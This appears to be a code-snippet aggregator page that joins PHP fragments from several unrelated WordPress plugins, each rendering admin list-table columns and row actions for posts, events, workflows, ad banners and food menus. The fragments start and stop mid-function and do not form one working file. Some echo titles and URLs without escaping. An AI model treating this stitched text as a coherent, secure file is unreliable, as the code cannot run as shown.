                            $actions['trash'] = "<a class='submitdelete' title='" . esc_attr(__('Move this item to the Trash')) . "' href='" . get_delete_post_link($post->ID) . "'>" . __('Trash') . "</a>";
                        }
                        if ('trash' == $post->post_status || !EMPTY_TRASH_DAYS) {
                            $actions['delete'] = "<a class='submitdelete' title='" . esc_attr(__('Delete this item permanently')) . "' href='" . get_delete_post_link($post->ID, '', true) . "'>" . __('Delete Permanently') . "</a>";
                        }
                    }
                    if ($post_type_object->public) {
                        if (in_array($post->post_status, array('pending', 'draft', 'future'))) {
                            if ($can_edit_post) {
                                $actions['view'] = '<a href="' . esc_url(apply_filters('preview_post_link', set_url_scheme(add_query_arg('preview', 'true', get_permalink($post->ID))))) . '" title="' . esc_attr(sprintf(__('Preview &#8220;%s&#8221;'), $title)) . '" rel="permalink">' . __('Preview') . '</a>';
                            }
                        } elseif ('trash' != $post->post_status) {
                            $actions['view'] = '<a href="' . get_permalink($post->ID) . '" title="' . esc_attr(sprintf(__('View &#8220;%s&#8221;'), $title)) . '" rel="permalink">' . __('View') . '</a>';
                        }
                    }
                    $actions = apply_filters(is_post_type_hierarchical($post->post_type) ? 'page_row_actions' : 'post_row_actions', $actions, $post);
                    echo $this->row_actions($actions);
                    get_inline_data($post);
                    echo '</td>';
                    break;
                case 'date':
                    if ('0000-00-00 00:00:00' == $post->post_date) {
                        $t_time = $h_time = __('Unpublished');
                        $time_diff = 0;
                    } else {
                        $t_time = get_the_time(__('Y/m/d g:i:s A'));
                        $m_time = $post->post_date;
                        $time = get_post_time('G', true, $post);
                        $time_diff = time() - $time;
                        if ($time_diff > 0 && $time_diff < DAY_IN_SECONDS) {
                            $h_time = sprintf(__('%s ago'), human_time_diff($time));
                        } else {
                            $h_time = mysql2date(__('Y/m/d'), $m_time);
                        }
                    }
                    echo '<td ' . $attributes . '>';
                    if ('excerpt' == $mode) {
                        echo apply_filters('post_date_column_time', $t_time, $post, $column_name, $mode);
                    } else {
                        echo '<abbr title="' . $t_time . '">' . apply_filters('post_date_column_time', $h_time, $post, $column_name, $mode) . '</abbr>';
                    }
                    echo '<br />';
                    if ('publish' == $post->post_status) {
                        _e('Published');
                    } elseif ('future' == $post->post_status) {
                        if ($time_diff > 0) {
                            echo '<strong class="attention">' . __('Missed schedule') . '</strong>';
                        } else {
                            _e('Scheduled');
                        }
                    } else {
                        _e('Last Modified');
                    }
                    echo '</td>';
                    break;
                case 'comments':
                    ?>
			<td <?php 
                    echo $attributes;
                    ?>
><div class="post-com-count-wrapper">
			<?php 
                    $pending_comments = isset($this->comment_pending_count[$post->ID]) ? $this->comment_pending_count[$post->ID] : 0;
                    $this->comments_bubble($post->ID, $pending_comments);
                    ?>
			</div></td>
			<?php 
                    break;
                case 'author':
                    ?>
			<td <?php 
                    echo $attributes;
                    ?>
><?php 
                    printf('<a href="%s">%s</a>', esc_url(add_query_arg(array('post_type' => $post->post_type, 'author' => get_the_author_meta('ID')), 'edit.php')), get_the_author());
                    ?>
</td>
			<?php 
                    break;
                default:
                    if ('categories' == $column_name) {
                        $taxonomy = 'category';
                    } elseif ('tags' == $column_name) {
                        $taxonomy = 'post_tag';
                    } elseif (0 === strpos($column_name, 'taxonomy-')) {
                        $taxonomy = substr($column_name, 9);
                    } else {
                        $taxonomy = false;
                    }
                    if ($taxonomy) {
                        $taxonomy_object = get_taxonomy($taxonomy);
                        echo '<td ' . $attributes . '>';
                        if ($terms = get_the_terms($post->ID, $taxonomy)) {
                            $out = array();
                            foreach ($terms as $t) {
                                $posts_in_term_qv = array();
                                if ('post' != $post->post_type) {
                                    $posts_in_term_qv['post_type'] = $post->post_type;
                                }
                                if ($taxonomy_object->query_var) {
                                    $posts_in_term_qv[$taxonomy_object->query_var] = $t->slug;
                                } else {
                                    $posts_in_term_qv['taxonomy'] = $taxonomy;
                                    $posts_in_term_qv['term'] = $t->slug;
                                }
                                $out[] = sprintf('<a href="%s">%s</a>', esc_url(add_query_arg($posts_in_term_qv, 'edit.php')), esc_html(sanitize_term_field('name', $t->name, $t->term_id, $taxonomy, 'display')));
                            }
                            /* translators: used between list items, there is a space after the comma */
                            echo join(__(', '), $out);
                        } else {
                            echo '&#8212;';
                        }
                        echo '</td>';
                        break;
                    }
                    ?>
			<td <?php 
                    echo $attributes;
                    ?>
><?php 
                    if (is_post_type_hierarchical($post->post_type)) {
                        do_action('manage_pages_custom_column', $column_name, $post->ID);
                    } else {
                        do_action('manage_posts_custom_column', $column_name, $post->ID);
                    }
                    do_action("manage_{$post->post_type}_posts_custom_column", $column_name, $post->ID);
                    ?>
</td>
			<?php 
                    break;
            }
        }
        ?>
		</tr>
	<?php 
        $GLOBALS['post'] = $global_post;
    }
 function manage_posts_custom_column($column)
 {
     global $post;
     switch ($column) {
         case "attendees":
             global $wpdb;
             $event = $post instanceof Eab_EventModel ? $post : new Eab_EventModel($post);
             $yes = $wpdb->get_var($wpdb->prepare("SELECT COUNT(*) FROM " . Eab_EventsHub::tablename(Eab_EventsHub::BOOKING_TABLE) . " WHERE event_id = %d AND status = %s;", $event->get_id(), Eab_EventModel::BOOKING_YES));
             $no = $wpdb->get_var($wpdb->prepare("SELECT COUNT(*) FROM " . Eab_EventsHub::tablename(Eab_EventsHub::BOOKING_TABLE) . " WHERE event_id = %d AND status = %s;", $event->get_id(), Eab_EventModel::BOOKING_NO));
             $maybe = $wpdb->get_var($wpdb->prepare("SELECT COUNT(*) FROM " . Eab_EventsHub::tablename(Eab_EventsHub::BOOKING_TABLE) . " WHERE event_id = %d AND status = %s;", $event->get_id(), Eab_EventModel::BOOKING_MAYBE));
             printf('<b>' . __('Attending / Undecided', self::TEXT_DOMAIN) . ':</b> %d / %d<br />', $yes, $maybe);
             printf('<b>' . __('Not Attending', self::TEXT_DOMAIN) . ':</b> %d', $no);
             echo '&nbsp;';
             echo '<a class="button" href="' . admin_url('index.php?eab_export=attendees&event_id=' . $event->get_id()) . '" class="eab-export_attendees">' . __('Export', self::TEXT_DOMAIN) . '</a>';
             break;
         case "start":
             $event = new Eab_EventModel($post);
             $df = get_option('date_format', 'Y-m-d');
             if (!$event->is_recurring()) {
                 echo date_i18n($df, $event->get_start_timestamp()) . ' - ' . date_i18n($df, $event->get_end_timestamp());
             } else {
                 $repeats = $event->get_supported_recurrence_intervals();
                 $title = @$repeats[$event->get_recurrence()];
                 $start = date_i18n($df, $event->get_recurrence_starts());
                 $end = date_i18n($df, $event->get_recurrence_ends());
                 printf(__("From %s, repeats every %s until %s", self::TEXT_DOMAIN), $start, $title, $end);
             }
             break;
         case "venue":
             $event = new Eab_EventModel($post);
             echo $event->get_venue_location();
             break;
         case "event":
             $event = new Eab_EventModel($post);
             $post_type_object = get_post_type_object($post->post_type);
             $edit_link = get_edit_post_link($event->get_id());
             $statuses = array();
             if ('draft' == $post->post_status) {
                 $statuses[] = __('Draft');
             }
             if ('private' == $post->post_status) {
                 $statuses[] = __('Private');
             }
             if ('pending' == $post->post_status) {
                 $statuses[] = __('Pending');
             }
             $status = $statuses ? ' - <span class="post-state">' . join(', ', $statuses) . '</span>' : '';
             $title = current_user_can($post_type_object->cap->edit_post, $event->get_id()) && 'trash' != $post->post_status ? '<strong>' . '<a class="row-title" href="' . $edit_link . '" title="' . esc_attr(sprintf(__('Edit &#8220;%s&#8221;'), $event->get_title())) . '">' . $event->get_title() . '</a>&nbsp;' . $status . '</strong>' : '<strong>' . $event->get_title() . '&nbsp;' . $status . '</strong>';
             if (current_user_can($post_type_object->cap->edit_post, $event->get_id()) && 'trash' != $post->post_status) {
                 $actions['edit'] = '<a title="' . esc_attr(__('Edit Event', self::TEXT_DOMAIN)) . '" href="' . $edit_link . '">' . __('Edit') . '</a>';
                 if (!$event->is_recurring()) {
                     $actions['inline hide-if-no-js'] = '<a href="#" class="editinline" title="' . esc_attr(__('Edit this Event inline', self::TEXT_DOMAIN)) . '">' . __('Quick&nbsp;Edit') . '</a>';
                 }
             }
             if (current_user_can($post_type_object->cap->delete_post, $event->get_id())) {
                 if ('trash' == $post->post_status) {
                     $actions['untrash'] = "<a title='" . esc_attr(__('Restore this Event from the Trash', self::TEXT_DOMAIN)) . "' href='" . wp_nonce_url(admin_url(sprintf($post_type_object->_edit_link . '&amp;action=untrash', $event->get_id())), 'untrash-' . $post->post_type . '_' . $event->get_id()) . "'>" . __('Restore') . "</a>";
                 } else {
                     if (EMPTY_TRASH_DAYS) {
                         $actions['trash'] = '<a class="submitdelete" title="' . esc_attr(__('Move this Event to the Trash', self::TEXT_DOMAIN)) . '" href="' . get_delete_post_link($event->get_id()) . '">' . __('Trash') . '</a>';
                     }
                 }
                 if ('trash' == $post->post_status || !EMPTY_TRASH_DAYS) {
                     $actions['delete'] = "<a class='submitdelete' title='" . esc_attr(__('Delete this Event permanently', self::TEXT_DOMAIN)) . "' href='" . get_delete_post_link($event->get_id(), '', true) . "'>" . __('Delete Permanently') . "</a>";
                 }
             }
             if ('trash' != $post->post_status) {
                 $event_id = $event->get_id();
                 if ($event->is_recurring()) {
                     $children = Eab_CollectionFactory::get_all_recurring_children_events($event);
                     if (!$children || !$children[0] instanceof Eab_EventModel) {
                         $event_id = false;
                     } else {
                         $event_id = $children[0]->get_id();
                     }
                 }
                 if ($event_id) {
                     $actions['view'] = '<a href="' . get_permalink($event_id) . '" title="' . esc_attr(sprintf(__('View &#8220;%s&#8221;'), $event->get_title())) . '" rel="permalink">' . __('View') . '</a>';
                 }
             }
             echo $title;
             if (!empty($actions)) {
                 foreach ($actions as $action => $link) {
                     $actions[$action] = "<span class='{$action}'>{$link}</span>";
                 }
             }
             echo '<div class="row-actions">' . join('&nbsp;|&nbsp;', $actions) . '</div>';
             get_inline_data($post);
             break;
     }
 }
Exemple #7
0
     echo "<span><a target='_blank' href='" . get_permalink($inbox_item->post_id) . "&preview=true'>" . __("View", "oasisworkflow") . "</a></span>&nbsp;|&nbsp;";
     if (current_user_can('ow_sign_off_step') && $is_post_editable || $user->ID == $current_user_id) {
         echo "<span>\n\t\t\t\t\t\t\t\t\t\t\t\t<a href='#' wfid='{$inbox_item->ID}' postid='{$inbox_item->post_id}' class='quick_sign_off'>" . $sign_off_label . "</a>\n\t\t\t\t\t\t\t\t\t\t\t\t<span class='loading'>{$space}</span>\n\t\t\t\t\t\t\t\t\t\t\t</span>&nbsp;|&nbsp;";
     }
     if (current_user_can('ow_reassign_task')) {
         echo "<span>\n\t\t\t\t\t\t\t\t\t\t\t\t<a href='#' wfid='{$inbox_item->ID}' class='reassign'>" . __("Reassign", "oasisworkflow") . "</a>\n\t\t\t\t\t\t\t\t\t\t\t\t<span class='loading'>{$space}</span>\n\t\t\t\t\t\t\t\t\t\t\t</span>&nbsp;|&nbsp;";
     }
     if (current_user_can('ow_abort_workflow')) {
         echo "<span>\n\t\t\t\t\t\t\t\t\t\t<a href='#' wfid='{$inbox_item->ID}' postid='{$inbox_item->post_id}' class='abort_workflow'>" . $abort_workflow_label . "</a>\n\t\t\t\t\t\t\t\t\t\t<span class='loading'>{$space}</span>\n\t\t\t\t\t\t\t\t\t\t</span>&nbsp;|&nbsp;";
     }
     if (current_user_can('ow_view_workflow_history')) {
         $nonce_url = wp_nonce_url("admin.php?page=oasiswf-history&post={$inbox_item->post_id}", 'owf_view_history_nonce');
         echo "<span><a href='{$nonce_url}'> " . __("View History", "oasisworkflow") . "</a></span>";
     }
     echo "</div>";
     get_inline_data($post);
 }
 echo "</td>";
 echo "<td>{$post->post_type}</td>";
 echo "<td>" . OW_Utility::instance()->get_user_name($user->ID) . "</td>";
 $workflow_name = $workflow->name;
 if (!empty($workflow->version)) {
     $workflow_name .= " (" . $workflow->version . ")";
 }
 echo "<td>{$workflow_name} [{$ow_workflow_service->get_gpid_dbid($workflow->ID, $stepId, 'lbl')}]</td>";
 $arg = add_query_arg(array('category' => $cat_name, 'nonce' => wp_create_nonce('category_filter')));
 echo "<td><a href={$arg}>{$cat_name}</a></td>";
 $post_status = $ow_custom_statuses->get_single_term_by('slug', get_post_status($post->ID));
 $post_status = is_object($post_status) && isset($post_status->name) ? $post_status->name : $wf_process_status[$ow_workflow_service->get_gpid_dbid($workflow->ID, $stepId, 'process')];
 // if the due date is passed the current date show the field in a different color
 echo "<td><span class=' . {$past_due_date_field_class} . '>" . OW_Utility::instance()->format_date_for_display($inbox_item->due_date) . "</span></td>";
    function single_row($a_post, $level = 0)
    {
        global $post, $mode;
        static $alternate;
        $global_post = $post;
        $post = $a_post;
        setup_postdata($post);
        $edit_link = get_edit_post_link($post->ID);
        $title = _draft_or_post_title();
        $post_type_object = get_post_type_object($post->post_type);
        $can_edit_post = current_user_can($post_type_object->cap->edit_post, $post->ID);
        $alternate = 'alternate' == $alternate ? '' : 'alternate';
        $classes = $alternate . ' iedit author-' . (get_current_user_id() == $post->post_author ? 'self' : 'other');
        ?>
		<tr id="post-<?php 
        echo $post->ID;
        ?>
" class="<?php 
        echo implode(' ', get_post_class($classes, $post->ID));
        ?>
" valign="top">
	<?php 
        list($columns, $hidden) = $this->get_column_info();
        foreach ($columns as $column_name => $column_display_name) {
            $class = "class=\"{$column_name} column-{$column_name}\"";
            $style = '';
            if (in_array($column_name, $hidden)) {
                $style = ' style="display:none;"';
            }
            $attributes = "{$class}{$style}";
            switch ($column_name) {
                case 'cb':
                    ?>
			<th scope="row" class="check-column"><?php 
                    if ($can_edit_post) {
                        ?>
<input type="checkbox" name="post[]" value="<?php 
                        the_ID();
                        ?>
" /><?php 
                    }
                    ?>
</th>
			<?php 
                    break;
                case 'title':
                    if ($this->hierarchical_display) {
                        $attributes = 'class="post-title page-title column-title"' . $style;
                        if (0 == $level && (int) $post->post_parent > 0) {
                            //sent level 0 by accident, by default, or because we don't know the actual level
                            $find_main_page = (int) $post->post_parent;
                            while ($find_main_page > 0) {
                                $parent = get_page($find_main_page);
                                if (is_null($parent)) {
                                    break;
                                }
                                $level++;
                                $find_main_page = (int) $parent->post_parent;
                                if (!isset($parent_name)) {
                                    $parent_name = apply_filters('the_title', $parent->post_title, $parent->ID);
                                }
                            }
                        }
                        $pad = str_repeat('&#8212; ', $level);
                        ?>
			<td <?php 
                        echo $attributes;
                        ?>
><strong><?php 
                        if ($can_edit_post && $post->post_status != 'trash') {
                            ?>
<a class="row-title" href="<?php 
                            echo $edit_link;
                            ?>
" title="<?php 
                            echo esc_attr(sprintf(__('Edit &#8220;%s&#8221;'), $title));
                            ?>
"><?php 
                            echo $pad;
                            echo $title;
                            ?>
</a><?php 
                        } else {
                            echo $pad;
                            echo $title;
                        }
                        _post_states($post);
                        echo isset($parent_name) ? ' | ' . $post_type_object->labels->parent_item_colon . ' ' . esc_html($parent_name) : '';
                        ?>
</strong>
<?php 
                    } else {
                        $attributes = 'class="post-title page-title column-title"' . $style;
                        ?>
			<td <?php 
                        echo $attributes;
                        ?>
><strong><?php 
                        if ($can_edit_post && $post->post_status != 'trash') {
                            ?>
<a class="row-title" href="<?php 
                            echo $edit_link;
                            ?>
" title="<?php 
                            echo esc_attr(sprintf(__('Edit &#8220;%s&#8221;'), $title));
                            ?>
"><?php 
                            echo $title;
                            ?>
</a><?php 
                        } else {
                            echo $title;
                        }
                        _post_states($post);
                        ?>
</strong>
<?php 
                        if ('excerpt' == $mode) {
                            the_excerpt();
                        }
                    }
                    $actions = array();
                    if ($can_edit_post && 'trash' != $post->post_status) {
                        $actions['edit'] = '<a href="' . get_edit_post_link($post->ID, true) . '" title="' . esc_attr(__('Edit this item')) . '">' . __('Edit') . '</a>';
                        $actions['inline hide-if-no-js'] = '<a href="#" class="editinline" title="' . esc_attr(__('Edit this item inline')) . '">' . __('Quick&nbsp;Edit') . '</a>';
                    }
                    if (current_user_can($post_type_object->cap->delete_post, $post->ID)) {
                        if ('trash' == $post->post_status) {
                            $actions['untrash'] = "<a title='" . esc_attr(__('Restore this item from the Trash')) . "' href='" . wp_nonce_url(admin_url(sprintf($post_type_object->_edit_link . '&amp;action=untrash', $post->ID)), 'untrash-' . $post->post_type . '_' . $post->ID) . "'>" . __('Restore') . "</a>";
                        } elseif (EMPTY_TRASH_DAYS) {
                            $actions['trash'] = "<a class='submitdelete' title='" . esc_attr(__('Move this item to the Trash')) . "' href='" . get_delete_post_link($post->ID) . "'>" . __('Trash') . "</a>";
                        }
                        if ('trash' == $post->post_status || !EMPTY_TRASH_DAYS) {
                            $actions['delete'] = "<a class='submitdelete' title='" . esc_attr(__('Delete this item permanently')) . "' href='" . get_delete_post_link($post->ID, '', true) . "'>" . __('Delete Permanently') . "</a>";
                        }
                    }
                    if ($post_type_object->public) {
                        if (in_array($post->post_status, array('pending', 'draft', 'future'))) {
                            if ($can_edit_post) {
                                $actions['view'] = '<a href="' . esc_url(add_query_arg('preview', 'true', get_permalink($post->ID))) . '" title="' . esc_attr(sprintf(__('Preview &#8220;%s&#8221;'), $title)) . '" rel="permalink">' . __('Preview') . '</a>';
                            }
                        } elseif ('trash' != $post->post_status) {
                            $actions['view'] = '<a href="' . get_permalink($post->ID) . '" title="' . esc_attr(sprintf(__('View &#8220;%s&#8221;'), $title)) . '" rel="permalink">' . __('View') . '</a>';
                        }
                    }
                    $actions = apply_filters(is_post_type_hierarchical($post->post_type) ? 'page_row_actions' : 'post_row_actions', $actions, $post);
                    echo $this->row_actions($actions);
                    get_inline_data($post);
                    echo '</td>';
                    break;
                case 'date':
                    if ('0000-00-00 00:00:00' == $post->post_date && 'date' == $column_name) {
                        $t_time = $h_time = __('Unpublished');
                        $time_diff = 0;
                    } else {
                        $t_time = get_the_time(__('Y/m/d g:i:s A'));
                        $m_time = $post->post_date;
                        $time = get_post_time('G', true, $post);
                        $time_diff = time() - $time;
                        if ($time_diff > 0 && $time_diff < 24 * 60 * 60) {
                            $h_time = sprintf(__('%s ago'), human_time_diff($time));
                        } else {
                            $h_time = mysql2date(__('Y/m/d'), $m_time);
                        }
                    }
                    echo '<td ' . $attributes . '>';
                    if ('excerpt' == $mode) {
                        echo apply_filters('post_date_column_time', $t_time, $post, $column_name, $mode);
                    } else {
                        echo '<abbr title="' . $t_time . '">' . apply_filters('post_date_column_time', $h_time, $post, $column_name, $mode) . '</abbr>';
                    }
                    echo '<br />';
                    if ('publish' == $post->post_status) {
                        _e('Published');
                    } elseif ('future' == $post->post_status) {
                        if ($time_diff > 0) {
                            echo '<strong class="attention">' . __('Missed schedule') . '</strong>';
                        } else {
                            _e('Scheduled');
                        }
                    } else {
                        _e('Last Modified');
                    }
                    echo '</td>';
                    break;
                case 'categories':
                    ?>
			<td <?php 
                    echo $attributes;
                    ?>
><?php 
                    $categories = get_the_category();
                    if (!empty($categories)) {
                        $out = array();
                        foreach ($categories as $c) {
                            $out[] = sprintf('<a href="%s">%s</a>', esc_url(add_query_arg(array('post_type' => $post->post_type, 'category_name' => $c->slug), 'edit.php')), esc_html(sanitize_term_field('name', $c->name, $c->term_id, 'category', 'display')));
                        }
                        echo join(', ', $out);
                    } else {
                        _e('Uncategorized');
                    }
                    ?>
</td>
			<?php 
                    break;
                case 'tags':
                    ?>
			<td <?php 
                    echo $attributes;
                    ?>
><?php 
                    $tags = get_the_tags($post->ID);
                    if (!empty($tags)) {
                        $out = array();
                        foreach ($tags as $c) {
                            $out[] = sprintf('<a href="%s">%s</a>', esc_url(add_query_arg(array('post_type' => $post->post_type, 'tag' => $c->slug), 'edit.php')), esc_html(sanitize_term_field('name', $c->name, $c->term_id, 'tag', 'display')));
                        }
                        echo join(', ', $out);
                    } else {
                        _e('No Tags');
                    }
                    ?>
</td>
			<?php 
                    break;
                case 'comments':
                    ?>
			<td <?php 
                    echo $attributes;
                    ?>
><div class="post-com-count-wrapper">
			<?php 
                    $pending_comments = isset($this->comment_pending_count[$post->ID]) ? $this->comment_pending_count[$post->ID] : 0;
                    $this->comments_bubble($post->ID, $pending_comments);
                    ?>
			</div></td>
			<?php 
                    break;
                case 'author':
                    ?>
			<td <?php 
                    echo $attributes;
                    ?>
><?php 
                    printf('<a href="%s">%s</a>', esc_url(add_query_arg(array('post_type' => $post->post_type, 'author' => get_the_author_meta('ID')), 'edit.php')), get_the_author());
                    ?>
</td>
			<?php 
                    break;
                default:
                    ?>
			<td <?php 
                    echo $attributes;
                    ?>
><?php 
                    if (is_post_type_hierarchical($post->post_type)) {
                        do_action('manage_pages_custom_column', $column_name, $post->ID);
                    } else {
                        do_action('manage_posts_custom_column', $column_name, $post->ID);
                    }
                    do_action("manage_{$post->post_type}_posts_custom_column", $column_name, $post->ID);
                    ?>
</td>
			<?php 
                    break;
            }
        }
        ?>
		</tr>
	<?php 
        $post = $global_post;
    }
 public function wp_pro_ad_banners_show_columns($name)
 {
     global $post, $pro_ads_banners, $pro_ads_adzones, $pro_ads_campaigns;
     switch ($name) {
         case 'b_banner':
             $banner_type = get_post_meta($post->ID, '_banner_type', true);
             $banner_url = get_post_meta($post->ID, '_banner_url', true);
             $banner_is_image = $pro_ads_banners->check_if_banner_is_image($banner_type);
             $html = '';
             if ($banner_is_image) {
                 $img = !empty($banner_url) ? $banner_url : WP_ADS_URL . 'images/placeholder.png';
                 $html .= '<div class="preview_banner" style="background: url(' . $img . ') no-repeat center center; width:40px; height:40px; background-size: cover;"></div>';
             } elseif ($banner_type == 'swf') {
                 $html .= "<object>";
                 $html .= "<embed allowscriptaccess='always' id='banner-swf' width='40' height='40' src='" . $banner_url . "'>";
                 $html .= "</object>";
             } else {
                 $html .= '<img src="' . WP_ADS_URL . 'images/placeholder.png" width="40" />';
             }
             echo $html;
             break;
         case 'b_name':
             $edit_link = get_edit_post_link($post->ID);
             $title = _draft_or_post_title();
             $post_type_object = get_post_type_object($post->post_type);
             $can_edit_post = current_user_can($post_type_object->cap->edit_post, $post->ID);
             echo '<strong><a class="row-title" href="' . esc_url($edit_link) . '">' . $title . '</a>';
             _post_states($post);
             echo '</strong>';
             if ($post->post_parent > 0) {
                 echo '&nbsp;&nbsp;&larr; <a href="' . get_edit_post_link($post->post_parent) . '">' . get_the_title($post->post_parent) . '</a>';
             }
             // Excerpt view
             if (isset($_GET['mode']) && 'excerpt' == $_GET['mode']) {
                 echo apply_filters('the_excerpt', $post->post_excerpt);
             }
             // Get actions
             $actions = array();
             $actions['id'] = 'ID: ' . $post->ID;
             if ($can_edit_post && 'trash' != $post->post_status) {
                 $actions['edit'] = '<a href="' . get_edit_post_link($post->ID, true) . '" title="' . esc_attr(__('Edit this item', 'wpproads')) . '">' . __('Edit', 'wpproads') . '</a>';
                 $actions['inline hide-if-no-js'] = '<a href="#" class="editinline" title="' . esc_attr(__('Edit this item inline', 'wpproads')) . '">' . __('Quick&nbsp;Edit', 'wpproads') . '</a>';
             }
             if (current_user_can($post_type_object->cap->delete_post, $post->ID)) {
                 if ('trash' == $post->post_status) {
                     $actions['untrash'] = '<a title="' . esc_attr(__('Restore this item from the Trash', 'wpproads')) . '" href="' . wp_nonce_url(admin_url(sprintf($post_type_object->_edit_link . '&amp;action=untrash', $post->ID)), 'untrash-post_' . $post->ID) . '">' . __('Restore', 'wpproads') . '</a>';
                 } elseif (EMPTY_TRASH_DAYS) {
                     $actions['trash'] = '<a class="submitdelete" title="' . esc_attr(__('Move this item to the Trash', 'wpproads')) . '" href="' . get_delete_post_link($post->ID) . '">' . __('Trash', 'wpproads') . '</a>';
                 }
                 if ('trash' == $post->post_status || !EMPTY_TRASH_DAYS) {
                     $actions['delete'] = '<a class="submitdelete" title="' . esc_attr(__('Delete this item permanently', 'wpproads')) . '" href="' . get_delete_post_link($post->ID, '', true) . '">' . __('Delete Permanently', 'wpproads') . '</a>';
                 }
             }
             if ($post_type_object->public) {
                 if (in_array($post->post_status, array('pending', 'draft', 'future'))) {
                     if ($can_edit_post) {
                         $actions['view'] = '<a href="' . esc_url(add_query_arg('preview', 'true', get_permalink($post->ID))) . '" title="' . esc_attr(sprintf(__('Preview &#8220;%s&#8221;', 'wpproads'), $title)) . '" rel="permalink">' . __('Preview', 'wpproads') . '</a>';
                     }
                 } elseif ('trash' != $post->post_status) {
                     $actions['view'] = '<a href="' . get_permalink($post->ID) . '" title="' . esc_attr(sprintf(__('View &#8220;%s&#8221;', 'wpproads'), $title)) . '" rel="permalink">' . __('View', 'wpproads') . '</a>';
                 }
             }
             $actions = apply_filters('post_row_actions', $actions, $post);
             echo '<div class="row-actions">';
             $i = 0;
             $action_count = sizeof($actions);
             foreach ($actions as $action => $link) {
                 ++$i;
                 $i == $action_count ? $sep = '' : ($sep = ' | ');
                 echo '<span class="' . $action . '">' . $link . $sep . '</span>';
             }
             echo '</div>';
             get_inline_data($post);
             break;
         case 'b_advertiser':
             $advertiser_id = get_post_meta($post->ID, '_banner_advertiser_id', true);
             echo !empty($advertiser_id) ? '<a href="post.php?post=' . $advertiser_id . '&action=edit">' . get_the_title($advertiser_id) . '</a>' : '<span class="na">&ndash;</span>';
             break;
         case 'b_campaign':
             $campaign_id = get_post_meta($post->ID, '_banner_campaign_id', true);
             $campaign_status = get_post_meta($campaign_id, '_campaign_status', true);
             $campaign_status = $pro_ads_campaigns->get_status($campaign_status);
             echo !empty($campaign_id) ? '<a href="post.php?post=' . $campaign_id . '&action=edit">' . get_the_title($campaign_id) . '</a><br><small style="color:#999;">' . __('Campaign status:', 'wpproads') . '</small> <small class="' . $campaign_status['name_clean'] . '"><em>[' . $campaign_status['name'] . ']</em></small>' : '<span class="na">&ndash;</span>';
             break;
         case 'b_status':
             $banner_status = get_post_meta($post->ID, '_banner_status', true);
             $status = $pro_ads_banners->get_status($banner_status);
             echo '<span class="' . $status['name_clean'] . '">' . $status['name'] . '</span>';
             break;
         case 'b_stats':
             echo '<a class="stats" href="admin.php?page=wp-pro-ads-stats&group=banner&group_id=' . $post->ID . '"><img src="' . WP_ADS_URL . '/images/stats.png" alt="' . __('Statistics', 'wpproads') . '" /></a>';
             break;
         case 'b_adzone':
             $banner_size = get_post_meta($post->ID, '_banner_size', true);
             $recommended_adzones = $pro_ads_adzones->get_adzones(array('meta_query' => array('relation' => 'OR', array('key' => '_adzone_size', 'value' => $banner_size, 'compare' => '='), array('key' => '_adzone_size', 'value' => '', 'compare' => '='))));
             // Get linked adzones for this banner
             $linked_adzones = get_post_meta($post->ID, '_linked_adzones', true);
             $html = '';
             $html .= '<div style="position:relative;">';
             $html .= '<div class="loading_adzone loading_adzone_' . $post->ID . '" style="position:absolute; margin:7px; z-index:1; display:none;">' . __('Loading...', 'wpproads') . '</div>';
             $html .= '<div class="select-adzone-cont-' . $post->ID . '">';
             $html .= '<select data-placeholder="' . __('No adzone selected.', 'wpproads') . '" style="width:100%;" class="chosen-select select-adzone select-adzone-' . $post->ID . '" multiple>';
             $html .= '<option value=""></option>';
             $html .= '<optgroup label="' . __('Recommended', 'wpproads') . '">';
             foreach ($recommended_adzones as $adzone) {
                 $disabled = !$pro_ads_adzones->check_if_adzone_is_active($adzone->ID, 1, $post->ID) ? 'disabled="true"' : '';
                 $selected = !empty($linked_adzones) ? in_array($adzone->ID, $linked_adzones) ? 'selected' : '' : '';
                 $html .= '<option ' . $disabled . '  value="' . $adzone->ID . '" bid="' . $post->ID . '" ' . $selected . '>' . $adzone->post_title . '</option>';
             }
             $html .= '</optgroup>';
             // Get all other adzones (all not recommended adzones)
             $all_adzones = $pro_ads_adzones->get_adzones(array('meta_query' => array('relation' => 'AND', array('key' => '_adzone_size', 'value' => $banner_size, 'compare' => '!='), array('key' => '_adzone_size', 'value' => '', 'compare' => '!='))));
             $html .= '<optgroup label="' . __('All', 'wpproads') . '">';
             foreach ($all_adzones as $adzone) {
                 $disabled = !$pro_ads_adzones->check_if_adzone_is_active($adzone->ID, 1, $post->ID) ? 'disabled="true"' : '';
                 $selected = !empty($linked_adzones) ? in_array($adzone->ID, $linked_adzones) ? 'selected' : '' : '';
                 $html .= '<option ' . $disabled . ' value="' . $adzone->ID . '" bid="' . $post->ID . '" ' . $selected . '>' . $adzone->post_title . '</option>';
             }
             $html .= '</optgroup>';
             $html .= '</select>';
             $html .= '</div>';
             $html .= '</div>';
             echo $html;
             break;
     }
 }
 /**
  * Output custom columns for menu.
  * @param string $column
  */
 public function render_food_menu_columns($column)
 {
     global $post, $the_food_menu;
     switch ($column) {
         case 'thumb':
             echo '<a href="' . get_edit_post_link($post->ID) . '">' . $this->get_image('thumbnail') . '</a>';
             break;
         case 'name':
             $edit_link = get_edit_post_link($post->ID);
             $title = _draft_or_post_title();
             echo '<strong><a class="row-title" href="' . esc_url($edit_link) . '">' . esc_html($title) . '</a>';
             _post_states($post);
             echo '</strong>';
             if ($post->post_parent > 0) {
                 echo '&nbsp;&nbsp;&larr; <a href="' . get_edit_post_link($post->post_parent) . '">' . get_the_title($post->post_parent) . '</a>';
             }
             // Excerpt view
             if (isset($_GET['mode']) && 'excerpt' == $_GET['mode']) {
                 echo apply_filters('the_excerpt', $post->post_excerpt);
             }
             $this->_render_food_menu_row_actions($post, $title);
             get_inline_data($post);
             break;
         case 'price':
             $the_price = get_post_meta($post->ID, 'food_item_price', true);
             echo $the_price ? '<span class="amount">' . $the_price . '</span>' : '<span class="na">&ndash;</span>';
             break;
         case 'food_menu_cat':
             if (!($terms = get_the_terms($post->ID, $column))) {
                 echo '<span class="na">&ndash;</span>';
             } else {
                 $termlist = array();
                 foreach ($terms as $term) {
                     $termlist[] = '<a href="' . admin_url('edit.php?' . $column . '=' . $term->slug . '&post_type=food_menu') . ' ">' . $term->name . '</a>';
                 }
                 echo implode(', ', $termlist);
             }
             break;
         default:
             break;
     }
 }
Exemple #11
0
/**
 * {@internal Missing Short Description}}
 *
 * @since unknown
 *
 * @param unknown_type $page
 * @param unknown_type $level
 */
function display_page_row($page, $level = 0)
{
    global $post;
    static $rowclass;
    $post = $page;
    setup_postdata($page);
    if (0 == $level && (int) $page->post_parent > 0) {
